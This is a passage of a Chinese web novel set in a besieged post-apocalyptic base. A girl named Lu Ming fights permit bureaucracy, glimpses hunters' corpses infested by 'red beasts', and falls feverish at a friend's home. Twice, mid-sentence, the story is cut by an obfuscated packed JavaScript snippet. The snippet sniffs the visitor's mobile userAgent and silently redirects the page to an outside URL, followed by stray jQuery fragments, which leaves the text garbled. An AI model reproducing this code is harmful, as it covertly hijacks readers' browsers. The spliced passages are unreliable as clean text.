从宋何正那些人的态度看,红月工会里的人大多数都很厉害,渐渐打响这个牌子——“红月工会,值得信赖”等等。但支飞羽完全没有这种“集体荣誉感”。 两人开始有一搭没一搭闲聊起来: “被逼的。” “被红月工会逼的吗?它们这么厉害?” 支飞羽扭头看了她一眼,这姑娘对“厉害”两个字是不是有什么误会,他有点不想聊了,“被家里人逼的。” “……”路名突然想到一些不礼貌的词,词穷了。 幸好,他们到了。 红月工会的门店里很热闹,红白相间的装修风格让人为之一振。 三人合抱粗的柱子分布在大厅内,柱子周围放着武器包、修理包等物件,有些人靠在包裹上休息,也有三五成群围在地上闲谈的人。这些人个个风尘仆仆,疲惫但兴奋,说话大声,粗旷的声音中有几分沙哑,眼神里有一门之隔、地上那些人都不具备的神采。 这个群体充满了原始的野性。 路名踏进来的第一感觉,是极强的血腥味儿。和这里相比,外面的血腥味儿淡得很。 支飞羽半遮脸,带着路名穿梭在人群中。 有人抬起头,看到跟在后面、个子矮小的路名,吹一声口哨,轻蔑的意味不言而喻,不少人都跟着看过来,带着几分嘲弄的笑意。 电光火石之间,一只鞋飞在空中,路名一击飞踢后收力站稳,一一扫过那些打量的眼光;那张吹出口哨声的脸被踢飞,带着他的脖子和身体滚到一圈人附近。那名领头的女性面无表情移开视线,周围更没人敢上前搀扶。 支飞羽侧过脸,冷冽的眼神扫过来,想说的话到嘴边转了一圈,又缩回去。白替她担心了,这姑娘胆量真不小。 这边闹出动静,不少人抻着脖子往这边看。 路名进来时特意整体扫过这些人,男女比例至少有四六开,女人占四分;坐在地上,有领队姿态的女性不在少数。现在,她们看着路名,或面无表情,或面带微笑。没有人出声呵斥,似乎都在等一个声音。 路名看向支飞羽:“这里应该是允许打人的吧?” 支飞羽扶额叹息。他早该知道,这姑娘脑子缺根筋,刚才八成是火气上来就动手了。 “你打赢了,当然没问题。”旁边一名杀气腾腾的中年女子说道。她的头发刚过肩,追在后面编成一个小辫,上面还插着动物翅膀下的毛。周围坐着三个男人,一个年纪稍小的女性,看着像一个队伍。 “你是新来的?力气不小。”从支飞羽身后冒出来的带单边眼镜的男子一手揽住支飞羽,笑着问路名。 “跟他来的。”路名点头。 男人笑了笑,“表弟,我们聊聊?” 表弟? 路名压根没看出这俩人哪里像了,倒是支飞羽的脸色,这会儿可以用“臭”来形容。 23. 巡逻站(2) 支飞羽臭着脸跟在表哥后面,穿过右边的通道,在一扇半开的门前停住,他侧过脸和路名对视一眼,轻轻点头示意,然后握住门框,将门拉开。 直到“咔—”一声,锁芯落定,大厅里的目光才稀稀落落散开。 “他总是这么引人注目。” 路名移开视线,注意到这个说话的男人。 长跃身材矮小,长年的任务和锻炼让他眼神犀利,肌肉紧实,像一座行走的小山丘。他腰间别着两把阔面斧头,脸上有一丝淡淡的笑意,“认识一下,我是长跃。” 路名的目光扫过他,落在跟在他后面的“猪头”。这家伙昂首挺胸走过来,完全没有刚才的狼狈。 “这是我的队员,启正,他是个有品位的家伙,喜欢陌生的、柔美的女性面孔。每个初次来到这里的女人都会受到他的欢呼。”长跃的目光上下扫过路名的身体,脸上的笑意多了几分讽刺,“当然,我们也欢迎女孩。这里没有太多歧视。” 路名微微皱眉,按住心里的火气。 没有歧视?她低头看着长跃的眼睛,笑着说:“口哨是欢呼的仪式,增高鞋垫不会是初次见面的赠礼吧?我还在长身体,没准备呢。”说完,她长长的吹了一声口哨。 尖锐的口哨声轻巧,带着几分俏皮,引来大厅里不少人的目光。 长跃的脸色瞬间黑如锅底。 他勾起嘴角,狭长的眼睛像毒蛇亮出的毒牙,划过冰冷的神色,下一秒,他换上笑脸,从从容容、和和气气地开口:“那不用,我们都是预备猎人,垫高了鞋子,大家都跑不快,被红兽咬住,说不定脑袋还能拿去卖点钱。” “猪头”跟在后面舔着笑脸一个劲儿地点头,没有任何质疑,活像之前被扔的是另一个人。 路名对这个人叫长跃的,有了新的认识。 她刚要开口,通道里倏然传来一道摔门声,“砰~”一只手按住门框,紧接着,从门后面走出两个熟悉的人。 长跃“哎”了一声。 不等他开口,支飞羽边走过来边说:“走,我先把你的事弄好,罗正文,你的事,等我们回来再说。” 罗正文招招手,乐呵呵应了几句,目送两人离开,随手拍在长跃的肩膀上,“跃哥,干什呢?怎么大家都朝你这儿看,往常你都是来了就走,想找你都不容易唉。怎,被城外的动静闹得?” “哪儿能呢,哥。我这水平,去了也白搭。”长跃自嘲一笑。 他可不敢和罗正文称兄道弟。罗家掌握了红月工会至少一半的力量,再加上深耕研究院的支家,势力及其庞大。家世背景硬就算了,这货脾气还不好,时常说着说着就翻脸,甚至笑嘻嘻地就把人坑了。 惹不起惹不起。 “试试才知道呢,说不定有什么大运等着你呢。” 罗正文望着空荡荡的大门口,长叹一口气,“要是我有你们这能力,我早出去了。红兽又怎么样,还不是被我们制得服服帖帖,它来一批,我们就研究一批。” 长跃实在没胆子激将罗正文出去,开口也不是,不开口也不是,额头直冒冷汗。 “算了,你不懂,我这种被抛弃的孤家寡人和你没有共同语言。”罗正文摘下金丝雕花的单边眼镜,板板正正放在胸口的袋子里,扶着额头直摇头。 “滴~”手腕上的光脑亮出一圈红线,是特殊联络信号。罗正文收起耍人的心思,点开光脑。 见他有事,长跃松一口气,抬脚就走,胳膊又被人拽住。 “来都来了,帮我干点活儿再走呗。” 长跃闭了闭眼:“……哥,我在帮你叫两个人,保险,稳妥,有效率。” “行。正好是搬运材料,量大,速度得快,别让新手插手。”罗正文头也不太直接往里走。红月工会的外设点遵循蜂巢的结构,墙壁斜立,拐角很多。他盯着这样一张脸,在里面畅通无阻,在众人或麻木或惊讶或敬畏的眼神中径直走向快速回到地面的通道。 电梯上行,光影交错。 长跃的心情变幻莫测。他不是新手,不是没出过基地、没见过大场面的新人,罗正文说的“材料”,他一下就想明白:猎人刚离开没多久,能这么快送回来的,是之前那批人的尸体,或者,应该称为红兽的温床才对。 亲自送自己的朋友、同学的尸体进入实验室,接受各种各样的实验,没有几个人能做到心如止水。 他想了想,打开光脑:“临时取消,别来。” * 路名站在“身份核验处”,和屋子里的工作人员大眼瞪小眼,又气又好笑。 “我交了钱,你才跟我说你办不了?” 工作人员是个圆头圆脑的胖姑娘。在这里,这种样貌极其稀少,若是平常,路名说不定会好奇多看两眼,但现在,她多看一眼都想伸手撕烂她的嘴。 就是这张嘴,刚刚蛊惑她交了二十万积分! “办不了是系统不让办,和我没关系。”胖姑娘叫卢禾,刚毕业,靠家里一点关系调到这个据说只有“重大事件”才会来事的岗位,上岗不到一个月,清闲的日子被这两个人打破了。 她在学校就关注预备猎人,不少小姐妹都以“我有个猎人朋友”作为炫耀的资本,从刚才两人进门,她一眼就认出其中一个竟然是赫赫有名的支飞羽,这是什么天大的恩赐,上天给予的好运啊,这张就该印在教科书里,作为人类文明明珠的脸竟然就在她面前。 她幸福得能吃下三碗饭,做了什么全是肌肉记忆,没成想犯了这么大的失误。 谁能想到一个小小的居住证里竟然还有门道?! “现在的问题是,她的居住证上写的是无证居民区,而根据基地的规定,我作为担保人,可以担保她进入下城区。”支飞羽敲了敲桌子,“你们一般怎么解决这类问题?” 卢禾敢肯定,这绝对是她人生中最刺激的时刻,偶像的话和偶像的责备……让暴风雨来得更猛烈些吧! “找规定这个的人……”卢禾的声音越来越小。 “你是不是也不知道规定这个的人?”路名冷笑道。这操作太熟悉了,以前人管人,各部门之间互相踢皮球,现在机器管人,都哪儿去找皮球?连皮球都找不到! “那我办理这张居住证的意义是什么?只有下城区的居住证才能进入下城区,我要一张无证居民区的居住证有什么用?你们设计这个的时候难道没有考虑过受众吗?无证居民区还需要居住证?”她压住怒火,牙咬切齿笑着反问。 她的积分! 她的时间! 她的精力! “退积分,这张证我不在你们这儿办理。”路名想回之前的典当铺,那个柜台小姐姐看着比这位靠谱多了。 “退不了,积分收取是单向通道。”卢禾斩钉截铁拒绝。 “那就给我办!”为了积分,路名决定今天一定要硬杠到底。她的积分,每一分都来之不易。少一分,连住旅社的预约都约不上。 “办不了。” “你办不了,有人能办,想办法给我退了,这比你办居住证简单吧?” 卢禾也火了。这能是她决定的吗?她又不是干这一行的。她就是顶个位置图个清闲,怎么有火往她身上撒!她容易吗,干什么全看员工手册和备注,这手册和备注上确实是这么写的,她照做也有错? “办不了也退不了,就算你去外面那些集团的典当行,最终居住证能不能办,也是我这边系统上同意才行。都办不了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737610|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 路名:……好想一锤头砸死自己,说不定睁眼发现这只是一场梦。 支飞羽脸埋在面罩下,整个人窝在椅子里,往这两个大眼瞪小眼陷入沉默的人,慢慢理出思路:“我记得,你的专业学习包括熟悉整个系统的功能和发展历史,有些功能随着时间和系统优化会出现调整,你想想看,居住证这一项有没有并入哪个部门?” “哇,你好清楚。”路名思路打开,心气儿一下就通了,真想树个大拇指。果然,专业的事要交给专业的人来做。 “依靠系统运行,就这点好,很多都是透明公开的。”支飞羽淡淡解释一句。 “我……我不知道。”卢禾涨红了脸。虽然偶像很给力不是水货让她很高兴,但她真的帮不上什么忙,真的很揪心。 路名差点窒息:“……你能告诉我,亲爱的小姑娘,你为什么不知道吗?” “这个不是考试重点,我忘了。”卢禾略感尴尬。 其实是她压根没学过,也不知道学什么门课能学到这个,这得多倒霉啊去学系统优化的历史?她可是优化系统的专业出身,也就学习差了点,但不妨碍系统优化就是时代的领导者,她就算不出众也沦落不到去细读优化历史。 “那我来陪你翻书?”这是路名现在唯一能安慰自己,压住火气别掀桌子的方法了。 她很有诚意,但她觉得,这个小姐姐非常不靠谱。 “毕业了,所有书都看不了。”支飞羽长叹一口气,“这是学校规定,历来如此,毕竟人力、物力资源都紧张,没有人时刻准备着去印刷纸张。” 卢禾使劲点头。终于,压力没有给到她这儿了,都是学校的错! “没有电子版的?在光脑上看不是更方便吗?” “就是电子版的,毕业了,学校会收走阅读权限。而且,很少,真的很少,有人会办理居住证,一般无证居民区的人都是没有居住证的。” 路名懂了。 因为鲜少有人去做,通过办理居住证去下城区的这条路也就被忽视了,在时代的演变里,它自然会被淘汰,被堵住。 “为什么没有人来?大家不想去下城区生活吗?这里到处都弥漫着臭味,路上都是垃圾,生病的乞丐,食物的种类也很稀少,工作竞争非常激烈,简直令人发指……”还有很多很多让她无法忍受的缺点。 卢禾看了支飞羽一眼,那张脸就算被挡住,也有种迷惑人心的魅力。 她小声开口:“一张证,二十万。就算给得起,那些人也不敢走这一步。他们在无证居民区扎根久了,会担心去下城区能不能活下去,会不会过得比之前更差?很多人犹豫着找过来,听说不好办立马就走了。时间久了,这个功能就被系统优化掉了。” 这也算是通识套进系统优化历史。她之前就当八卦听听,没想到真有一天能用上。 “那其他人怎么去下城区,系统优化需要大量样本数据,这段时间里,总不会没有一个无证居民区的人去下城区吧?”路名随手拿起桌上的笔,在手里转来转去,抛上抛下。 居住证办不了,那就换个门路。 卢禾抢过笔,插进笔筒,不可置信地问:“你真的要去?你不害怕吗?如果有门路,上城区才是最好的选择啊。”最后一句,她是压着声音凑到耳边说的。 支飞羽的耳力何其敏锐,这些话,他一字不拉听个一清二楚。他又被误会了。 或许卢禾自己都没注意到,她和路名之间剑拔弩张的气氛在某个微妙的节点发生了变化,那句话就是最好的证明。 “去试试才知道,优化不一定是最好的结果,说不定,我在下城区能获得更好。” 只有去下城区,她才能摸到入学的门槛。 24. 巡逻站(3) 路名从“身份核验处”走出来,背着沉甸甸的包,包里叠放好那张居住证,轻飘飘的,没多少重量。她望着来来往往的人,心里没有一丝一毫对这里的归属感。原以为一步到位直奔下城区,没想到半路出了岔子,她还得另辟蹊径。 失落之余,更多的是厌烦。 以前有事,她第一反应是找师兄,师兄搞不定的,她就可以不用努力了。这是她第一次办“公事”,一次性体验到前世臭名昭著的“踢皮球”和这个世界独有的“系统优化”。 好在,支飞羽问到另一条去下城区的路——巡逻站。 巡逻站是一号基地设在基地外的驻扎点,每个巡逻站下再分区域设点管辖。当初在山坳坳里,支飞羽作为驻守人员,收到巡逻站的信号,立即率队赶去救援。 因为巡逻站的特殊性,加上猎人工会人手紧张,驻扎人员的质量层次不齐,预备猎人、退役猎人、无证居民区的人等等,都混在一起,甚至还有尤品这一类高中生。对其他人而言,留守巡逻站是为了挣钱,磨合团队合作,对于还没有毕业的高中生,这是个诱人的饵——刷履历,而履历是猎人学校的敲门砖之一。 无证居民区的人普遍活不长,年纪都不大,有些机灵的能混在队伍里好长一段时间。久而久之,就有了“代刷客”。代刷客在代刷期间,可以用临时准入证进出下城区和无证居民区,搞些小生意。 “能上学吗?”路名更关心这个。 “你用的是别人的名字,去学校也是别人去。不过,每一次代刷结束,对方会按时间长短结算积分,如果有额外收入,可以用临时准入证去下城区把东西卖掉。跟红兽有关的东西,下城区可以卖的贵一点。”支飞羽手指敲击光脑,简单回复对面发消息的人。 路名靠在墙上,一边等他,一边发呆。 巡逻站是个好跳板,但跳不到她想去的地方。活着这么难,人生这么短,套着一个假身份,她什么时候才能过上安稳的生活? 支飞羽处理好手头上的事,正好瞧见罗正文的催促,随手回了句“马上”。 居住证的事暂告一段落,他得回去了。 眼睛一瞥,他看到微微仰头、双眼无神的路名,大概猜到她在想什么,“你为什么这么想去上学?”就没见过哪个同龄人这么爱上学的……鲁胖子除外。 路名侧过脸,望着支飞羽的脸怔怔的出神了会儿,才小声回答:“我会读书。读书好,可以过得更好。” “走吧,我送你回去,尤维还在等你。”支飞羽抬手指方向,正好落在路名后面一步,目光从远处收回来,撇到她背上沉沉的包。尤维说,路名的光脑坏了,尤品弄的。 这才来基地多久,光脑坏了,居住证到手了,支飞羽真不知道这人是倒霉,还是幸运。 “读书,未必有你现在过得好。” “那是因为你很强,很厉害,而我很弱,经不起折腾。进学校安稳读几年书,学点东西,找个岗位,这样就很好。”路名边说边放慢脚步,和支飞羽并行。 她和支飞羽不一样,她习惯了这个世界没有的安稳,所以拼了命的要回到从前的生活。 这份近乎本能的执念支撑着她从泰林走回来,不是说放下就能放下的。 两人沉默地走了一段路。 “就算顺利毕业,也未必会有心仪的岗位。刚刚那个,大概不是本专业毕业的学生来任职。”和路名说话,支飞羽总觉得哪里怪怪的。 这个人来基地之前过得有多差,看她几天没见个子窜这么快就知道,这人从小生活不幸,怎么会有那么强的信念,觉得自己会过得好,往前走的路一定是正确的?简直就是一头拉不回来的犟驴。 “如果不读书,那是真的一点机会都没有。”路名轻笑一声。 走后门的哪儿都有,但也不是所有后门都那么好走的。要是没有一张毕业证,那个女生凭什么坐在那间办公室? 这种事,看破不说破。 支飞羽皱了皱眉头,不理解她的想法,“去巡逻站做代刷客,未必会比读书差。光读书,不进猎人学院,养殖学院的日常开销非常大。” “我知道,一个人做什么都很难。”路名远远地望见尤维和支飞羽表哥站在角落里说话,把原先准备好的稿子精简些,道别:“居住证也这样,就因为走这条路的人少,我想走就会难一点。没事,总归会有办法的。说不定我会找到和我有同样想法的人。”大概是不可能的。 正巧,尤维不知道和罗正文说了什么,脸色一沉,撇开脸,看到迎面走来的两人。她刚抬手招呼,一辆推车连带四个人呼啦啦从面前经过,将人挡住。 四名身穿黑色制服的人神色冷漠,快速向前移动,穿过通道。 风起之时,裹住脸的白布被撩开一角,露出血淋淋的一段脖颈。在大动脉的位置,一个巨大的切口裸露在外面,十几个鼓包挨挨挤挤从里面伸出来,夹缝中延伸出粗壮短小的触须,每一个触须上都有吸盘,吸盘的蠕动像一张脸。在灯光照进来的片刻,那些吸盘渐次变成狰狞的笑脸。 “那是,红兽?”说话时,路名感觉自己的喉头发紧,有点干涩。 这是一种什么感觉?她说不出来,只觉得从鼻腔里钻进来的血腥气不只有这些躺着的人的,似乎还有她的。脖子、肩膀、手、腿,身体的每一个部分都在隐隐作痛。 一车四排,白布裹脸,身体遍布创伤。 一车接一车。 “应该是最先一批出发的猎人。”支飞羽的目光越过车流,注视表哥和尤维。尤维神色如常,对于这种事,她总是表现得很克制;罗正文则一脸兴奋,看来有新的发现,难怪急着找他。 “基地里有猎人的墓地吗?”有时间的话,方便的话,路名想去参观一趟,更直观的感受、了解这个世界。 车流很快见底,这一趟大约有三十多人,如果从地面上运输,除了崎岖不平的路,白布下的惨状暴露,或许会引来恐慌,负责运输的人大概是考虑到这一点,才从这里走。在外设点,血腥气到处都是,身上带伤更是稀疏平常。 支飞羽花半分钟思考墓地和猎人之间的联系,震惊了:“为什么会有墓地?” 路名懵了,大脑反应了会儿才后知后觉,“哦~红兽的血具有感染性,这个我知道,我刚刚不小心忘了。那他们是被送去处理伤口吗?处理干净伤口后呢?” “实验室会接手后续的具体事宜。”罗正文走过来,恰好听了后半句,勾着支飞羽的肩膀说道。 “队长,这个拖油瓶说他也有资格参赛。他不能和我们一队,我们这次好不容易刷够分数,可不能刚进去就被人踹出来,那以后跟学长学姐联合训练,我们绝对会被笑到毕业的。”尤维就差在脸上写“嫌弃”两个字。 罗正文怒了:“你说谁拖油瓶呢?没有我,哼,你们生病了受伤了就等着伤口恶化感染流脓发烂发臭吧,到时候就是臭咸鱼一条!” 尤维毫不示弱,手指着罗正文硬挺的鼻梁,呵呵冷笑,“就算烂在里面,我也不要丢人现眼。” 罗正文神色一顿,脸颊的皮肤动了动,眼眶中多了两滴泪水。他吸了吸鼻子,哀哀戚戚挤到路名和支飞羽中间,头靠着表弟的肩膀,抽抽嗒嗒地说:“哎~想我们小时候,从来都是表哥表弟亲,没想到长大了,表哥没忘了表弟,表弟倒先有了别人,把表哥抛到一边了。果然,血缘虽在,距离远了,感情就淡了。” 路名被这一出变脸整得目瞪口呆。 很难相信,一个衣着考究还带单边眼镜耍酷的人,说哭就哭,一开口,茶香四溢。 就是可惜了支飞羽,看脸色,他能立马呕出来。 尤维可不惯着他,直接伸手去抓人,“松开,闪一边儿去,少给我惺惺作态。就你那干啥啥不行,尖叫第一名的能力,去了别的队说不定能大放异彩。” 罗正文躲到路名身边,绕过尤维后背,笑嘻嘻地跑到支飞羽另一侧肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744740|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“考虑一下,表弟,我真的很有用的。” 支飞羽笑不出来。他不是担心罗正文拖后腿,而是比赛资格出现变动。 罗正文是认真的,意味着大赛规则存在修改的可能。这项比赛的创始者是言榕,其影响力在基地根深蒂固,数十年来无人可及,难以撬动。规则变动,说明有一股外界的力量在冲撞它。 “你真能参加比赛?” “九成把握,怎么样,带我一起呗?我保证从明天开始坚持锻炼,一定不拖你们的后腿。当然你们也不能松懈。”他话还没说完,一团布料直接塞进嘴里。 尤维拍了拍手,任由缺一节的衣袖在空中晃荡,脸上露出如释重负的表情,“要你管,话真多,烦死了,干好你自己的事。哎队长,你们的事弄好了?我能把路名带走?她订了旅社,我送她过去。” “不是光脑坏了吗,坏了住不了旅社。”支飞羽一边帮罗正文掏出布料一边说。 “噢~”尤维长长的应了一声,在路名失望的目光里,充满歉意地笑了笑。她抱着胳膊站在原地想了会儿,“这咋办?你要是不嫌弃,我把我之前用的旧的给你?” 买新的是不可能的,多贵啊,不是谁都像队长似的财大气粗。更何况,她还有个拖油瓶/闯祸精挂在脚脖子上。 “没问题,我都行,能用就行。”真是柳暗花明又一村,路名正愁没光脑用,存款也不剩多少,省一点是一点,就算现在花个一万积分买光脑,她都得犹豫犹豫再犹豫。没有光脑,在这个陌生的地方寸步难行。 “哎你们俩的事搞定了,考虑考虑我呗?”罗正文还不死心,目光在三人身上转啊转。 “我不同意,我代表我们队其他人投反对票。”尤维面无表情,如果眼神有力量,她真想一个白眼把这家伙送到十几米外。 “先说说怎么回事吧,如果规则变动,我们就必须做出调整。”支飞羽有些不耐烦,最讨厌这种临时决定。他揉了揉鼻梁,暗自在心里长叹一口气,对这种意料之外的变故颇感棘手。 罗正文一看有戏,清了清嗓子,正色道:“根据实验室那边的观察,其实昨天就送来一批材料,嗯,我继续说,研究员那边有一部分人怀疑基地正在被某种生物包围,当然,有人支持就有人反对。毕竟这个事情太耸人听闻了哈哈哈。” “理由,谁发现的,什么迹象表明?”支飞羽皱紧眉头靠在墙上,对罗正文的话信了大半。 这个发现如果被证实是真的,那比赛规则被修改是必然。只是,照这个趋势,赛场很有可能设置在基地外较远的地方,大量没有毕业的学生会被喂进红兽的嘴里,成为材料。而罗正文这一类人,就是研究院的眼睛。 “具体是谁不能说哈,支女士不让我说,说说其他的还可以。之前研究院不是有个研究员在泰林出事了吗,那个倒霉蛋被找到了,材料就在实验室,昨天的材料刚做完基础分析,两边的研究员有交叉,一合计就发现不对劲。生物嘛,本来就很神奇,大进化之后更牛逼了。所以教研组觉得为了基地的未来和学生的安全考虑,你们需要我们的援助。”罗正文慷慨激昂的说完。 要不是说的事不能张扬,就他这压不住的微表情,几次被支飞羽眼神警告的嗓音,怕是得来个喇叭才过瘾。 路名对比赛并不关心,那是学生的事,“你说的那个材料,是不是刚刚那些车推过去的人?” 罗正文脸上就差写三个字:不然呢? 他没有回答路名的问题,而是看向支飞羽,“她不是都能办居住证了吗?连这都不知道?” “办居住证的积分是她自己弄的,我没帮忙。”支飞羽一脸无奈。 “哇哦”,罗正文不带一丝赞美的发出气声,啧啧啧砸吧嘴,千言万语汇聚成简短一句话,“你,运气真好啊。” “可能否极泰来吧。”路名敷衍着,笑不出来。 这一生,她的终点,就是一辆小车上白布裹脸任人鱼肉的材料吗? 25. 巡逻站(4) 四人集合纯粹是个意外,没聊几句就分道扬镳。 罗正文拉着心情糟糕的支飞羽去实验室,据说是支女士让的,支飞羽一听,皱着眉头走了;尤维领着路名走最近的通道回到大门,和她一起回家,她那个旧光脑放在家里。 “我们要去跟你弟弟说一声吗?”路名问道。 机车坐不下,载不了人,说一声,让他自己回去。当时那一下,她动手不算重,现在应该没事了。 “他估计早回家了,用不着我们。又没缺胳膊少腿儿的,不管他他也能把自己照顾好。”对于弟弟尤品,尤维大多时候是又气又无奈。 小时候一时鬼迷心窍捡了他,长大了后悔,偏偏想甩也甩不掉。 机车快速飞驰,经过出入口时,检查人员扫过一眼,看到熟悉的车,便没有拦下来停车检查。呼啦啦的风吹进耳朵里,周围的杂音渐渐被轰鸣的发动机声盖住。 尤维住的是桥下的平房。这里原本是桥洞,流浪汉聚居之地。经过基地改革,人员分流,下城区最初承载了上、中城区以外的所有人口,人挤人,住不下。没有地方住,人们就捡木条、团泥巴,在桥边、路边、地里搭房子。基地二次改革时,无证居民区被划出来,人员再次分流,有些房子拆了,有些房子空了,尤维就带着弟弟住下来。 下桥有点难走,坡陡且直。 机车直冲而下,在一声刺耳的刹车声中笔直的拐了个弯,“砰—”一声,头盔相撞,脑袋嗡嗡作响。 尤维暗道不妙,立即将车停稳。 她一向喜欢这么来,尤品被她练皮实了,突然换人,她脑子还没反应过来,车已经加速了。 “路名?路名?”她摘下头盔,起身的瞬间,后面的人往另一侧滑落,她急忙伸手,将人拽过来,边脱头盔边说,“醒醒,醒醒,你晕车吗?头盔太紧了缺氧吗?我刚刚拐弯是有点快啊。你等一下。” 头盔下,是一张红彤彤的脸;手一摸,额头滚烫。 怎么突然就发烧了? 尤维二话不说,将人抱起来直奔自己家。 她一脚踹开门,屋里还在悠哉悠哉泡面的尤品“噌”一下从凳子上跳起来,嘴上挂了根面条,唾沫还没咽干净,急忙解释:“姐,我不是故意翘课,嗯?” “家里还有药吗?她发烧了,冷水热水还有吗?”尤维一脚踹翻唯一的单人沙发,将人靠在坐垫上。 “温度计。”尤品从箱子里找出药箱,翻出水银温度计,递给姐姐。他又翻了翻药箱里的空盒子,发烧感冒的药太贵,上次吃完都不记得是什么时候。他有点头疼脑热的,一般都熬着,眼下家里只剩点治肠胃止泻的药和简单包扎伤口的碘伏棉签纱布。 “她这张脸,还需要量体温吗?”尤品看他姐一顿操作猛如虎,水银温度计差点摔在地上,赶紧过去搭把手,“还是我来吧。家里没有发烧的药。她怎么突然发烧,是不是其他症状引起的并发症?” “不知道。”尤维想了想,没头绪。 上车前还好好的,总不至于真是她车速太快,把人吓发烧了吧?这姑娘胆子也不小啊? “那还买药吗?”尤品发出灵魂拷问。 尤维沉默。吃错药真的会死人的,万一……好歹是队长第一次出任务带回来的人,还挺争气,这么短时间就给自己弄了个居住证。要是被她弄死了,挺可惜的。 “要不送去看医生?”尤品问出了尤维心底的想法。 但送去医院很贵啊,她还在犹豫。 没一会儿,尤品打了一盆冷水进来,沾湿毛巾,敷在路名的额头上。 “先看看冷水能不能降温,什么都不知道就这么去医院,肯定逃不了全身检查,那得花好多好多积分。” “我知道。”尤维心里烦得很,见尤品手法熟练,不需要她帮忙,起身走进房间,一顿倒腾后,她拿着一个淡蓝色的环走出来。 “你之前换下来的光脑,你不是说给我的吗?” 尤品瞪大眼睛,看着光脑慢慢靠近路名的手腕,心里有不好的预感,“骗子!” “谁让你弄坏人家的光脑,我们赔得起吗?”尤维抬手给惹事精一个脑瓜崩,甩了甩几根手指,抽走桌上的泡面和自己的筷子,开始嗦面。 到嘴的泡面没了,光脑也没了,尤品长叹一口气,不想管地上这家伙了,“就这样吧,她能活就活,活不了拉倒。” “……你砸玻璃的事,我还没找你算账呢。”尤维吸着面条,不咸不淡地威胁。 这招屡试不爽。 尤品秒怂,“我错了姐,我愿意照顾她,将功补过。” “顺便把碗洗了,厨房收拾干净,麻溜点去烧水,我要洗澡。”尤维笑眯眯的把一碗汤放在尤品手上,在后者委屈的眼神里打了个嗝,伸伸懒腰回卧室休息。 第一夜,相安无事。 路名浑身滚烫,意识浑浑噩噩,像一条死鱼躺在地板上。她做了很多光怪陆离的梦,偶尔清醒过来,看着修修补补非常破旧眼生的天花板,一时分不清现实和梦境,脑子一热,人又晕过去了。 偶尔有几次,她看到一个模糊不清的人影,紧接着,冰冰凉凉的水滑过喉咙,短暂浇熄身体里的火。 早上,尤品照样早起练刀,练完去上学,这次尤维也得去。她骂骂咧咧从床上爬起来,将薄毯囫囵一卷扔在床上,去卫生间洗漱,看见尤品对着镜子摆姿势耍帅,更是气不打一出来,抽起架子上的衣架一下抽过去,痛得尤品嗷嗷直叫,在狭小的三平米卫生间上蹿下跳。 早饭很简单,尤维没有任务的日子,本着勤俭持家的原则,一人一碗白粥配咸菜,加个煮蛋。 尤品在厨房洗碗的时候,尤维端着小碗白粥和一个煮蛋去找路名。 昨晚,尤品在睡觉前从房里翻出冬天用的小毛毯,把客厅的东西移位规整,在地上铺了两层,将路名平放在毯子上。 “醒醒?”尤维戳了戳路名的肩膀,轻声道。 见路名没有反应,她舀一勺香喷喷的白粥放在路名嘴边,试图用香味和馋虫将人唤醒,可惜,路名没有半点反应。 尤维放下碗,抱着膝盖,看着路名苍白憔悴的脸色,叹口气。 高烧刚过,又持续低烧,这孩子的血管红艳艳的在皮肤上蜿蜒纵横,还有星星点点的红点,尤维不由得想起刚见到她的时候。现在想想,那演技还真拙劣啊,那么柔弱的人一来基地就露馅了,想想就好笑。他们几个当时想的是将人救回去,基地难道还比不上那犄角旮旯?想着一切或许会好的…… 窗外的光穿过破洞的窗户,灰色的窗户将鼓胀的地板映衬成腐败的灰黄色,屋子里呼呼灌风。 她也就活成这样,怎么会想着救人呢?尤维自嘲地笑了笑。 一只手搭在她的肩膀上,她转过头,看到尤品冒出胡渣的下巴。不知不觉,她的弟弟已经到了长胡子的年纪。 “帅吗?”尤品捧起自己的脸,笑嘻嘻送过去,又被一掌拍开。 “一边凉快去。”尤维起身往屋外走。 稀稀落落的脚步声越来越远,直到“咯哒”一声,门落锁,遥远的发动机呜咽一声,喧嚣归于沉寂。 …… 路名是被吓醒的,她梦到有只老鼠在啃木板,木板很薄,没一会儿就啃穿了,紧接着是毛发,然后是脑壳、脑浆…… 她近乎是从地上跳起来,手腕、指节都烧起火辣辣的感觉。痛感她恍若未觉,眼前一片模糊,五感都没清醒,手已经握成拳头,一拳砸进地板。 “砰”一声巨响,伴随着清脆的瓷片破碎声,尘土飞扬,血液四溅。 粉尘扑进鼻腔,路名在一声声咳嗽里感受到身体的变化,灼热,沉重,无力。她一边咳一边躲,躲开飞扬的粉尘,躲在一隅角落里。 “有人吗?咳咳,你好?”沙哑的声音在寂静的屋子里响起。 无人回应。 路名坐在原地休息了会儿,确仔细辨听后发现没有脚步声,没有人,她摸着墙壁在屋里走动。 看门的数量,这是一间三室一厅,客厅很小,桌椅靠墙,地上一块单人床铺,就占满所有空间。东侧墙壁上有个洗手池,水龙头上挂着黑黝黝的一团钢丝,钢丝里全是污垢,弹性降低,软软的耷拉着。除了两间卧室,还有一个用木板隔开的厨房和卫生间,卫生间有两条毛巾,两套牙具。 如果换个时代,路名绝对会认为这是一家风格粗旷不羁的旧物展览博物馆,但现在,充满生活气息的、杂乱无章的摆设让她意识到,有两个人住在这。 她怎么会在这儿? 